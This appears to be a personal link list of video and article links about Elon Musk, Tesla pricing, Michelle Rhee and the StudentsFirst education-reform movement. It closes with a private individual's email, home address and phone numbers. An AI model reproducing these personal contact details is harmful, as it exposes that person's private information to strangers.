Elon Musk at the Daily Show with Jon Stewart Apr 2012http://www.thedailyshow.com/watch/tue-april-10-2012/elon-muskhttp://www.thedailyshow.com/watch/tue-april-10-2012/exclusive---elon-musk-extended-interview-pt--2
Time Magazine: 10 Questions - Elon Musk Uploaded July 2010http://www.youtube.com/watch?v=UwT3Y0lkYaQ
Pricing is important. Suggestion: Why don't all TESLA Model S YouTube Videos say UPFRONT that this car is about $90,900 direct from Tesla. The most economic model (Model S 40kWh) can be had for just over $50k with 160 mile range. Chevy Hybrid VOLT publicizes i
Michelle Rhee - The famous controvertial former Washington DC School District Chancellor
https://www.facebook.com/photo.php?v=215125001967375&set=vb.145530532162873&type=2&theater
Michelle Rhee on OPRAH https://www.youtube.com/watch?v=iPsqO17f6Lw
Michelle Rhee on abc's ThisWeek https://www.youtube.com/watch?v=Nep1mcaFthU
Michelle Rhee on The DailyShow with Jon Stewart
http://www.thedailyshow.com/watch/mon-february-4-2013/michelle-rheehttp://www.thedailyshow.com/watch/mon-february-4-2013/exclusive---michelle-rhee-extended-interview-pt--2http://www.thedailyshow.com/watch/mon-february-4-2013/exclusive---michelle-rhee-extended-interview-pt--3
pbs.org FRONTLINE: The Education of Michelle Rheehttp://video.pbs.org/video/2323979463/ http://www.pbs.org/wgbh/pages/frontline/education-of-michelle-rhee/
Time Magazine: Rhee Tackles Classroom Challengehttp://www.time.com/time/magazine/article/0,9171,1862444-2,00.html
Michelle Rhee Discusses "Waiting for Superman," Charter Schools And Sch... https://www.youtube.com/watch?v=OLih24QdwH8
Why Teach For America works - Michelle Rhee
https://www.youtube.com/watch?v=xUs_hsHaqSA
A Two-Tier Proposal for Teacher Pay - Michelle Rhee
https://www.youtube.com/watch?v=_pii96AoTPw
Stanford University: A Conversation on "Waiting for Superman" https://www.youtube.com/watch?v=Xzrjo7Fvs1A
"Radical" Fighting to Put Students First should be a must read for all studentsfirst.org members! Michelle Rhee's new book, "RADICAL: Fighting to Put Students First," is now in stores! For more information about where you can find it, to read an excerpt from the book, and to share your story about education in America visit the official site at http://www.edradical.com/ or http://www.facebook.com/edradical.
http://live.huffingtonpost.com/r/segment/michelle-rhee/510ff3b02b8c2a138f000747
Michelle Rhee at the ACE 2011 Spring Luncheon https://www.youtube.com/watch?NR=1&feature=endscreen&v=mO9F-amHDuw
Michelle Rhee and Kevin Johnson (4/20/11) https://www.youtube.com/watch?NR=1&v=OCcNzh7C_Tk&feature=endscreen
Michelle A. Rhee 03.17.11 https://www.youtube.com/watch?v=KD0g8Jb9l78
Cornell Alumni: Olin Lecture 2012: Michelle Rhee '92https://www.youtube.com/watch?v=mwFD-wkAEi8
Harvard Public Health: Michelle Rhee, Former Chancellor of Washington D.C. Public Schools https://www.youtube.com/watch?v=jH0twXcxNUY
http://fora.tv/2013/02/07/Michelle_Rhee_Fighting_to_Put_Students_First
Geoffrey Canada - Conversations at KCTS 9https://www.youtube.com/watch?v=ZxP6Ov5PSG8 Geoffrey Canada interviewed by Julian Bond: Explorations in Black Leadership ...https://www.youtube.com/watch?v=2f5MZKf6Uu4
"Waiting for Superman" the documentary and Bloomberg documentary "Risk Takers" Michelle Rhee should a required screening for all studentsfirst.org members. I saw them on Netflix and became an instant member of studentsfirst.org and Michelle Rhee follower.
"Won't Back down" the movie is another example to screen to all studentsfirst.org members.
Share the reasons you fight for education reform. Your story will inspire others to get involved. So tell us: Why are you working to put students first? http://www.studentsfirst.org/facebook-story
Check out today's blog by StudentsFirst staffer Charity Hallman, "One size fits all, or so they said," on The Fordham Institute's "Education Gadfly Daily: FLYPAPER" blog.
To view the Fordham study, "When Teachers Choose Pension Plans: The Florida Story," visit http://www.studentsfirst.org/fordham-study-on-fl-teacher-pension-reform
Watch MAKER videos on StudentFirst Founder Michelle Rhee visit www.makers.com/michelle-rhee
Ajay Jain
ajain31@gmail.com
Twitter: @ajain31
1209 Creekwood Drive
Garland TX 75044-2421
Phone 972-675-8178
Mobile 214-207-9781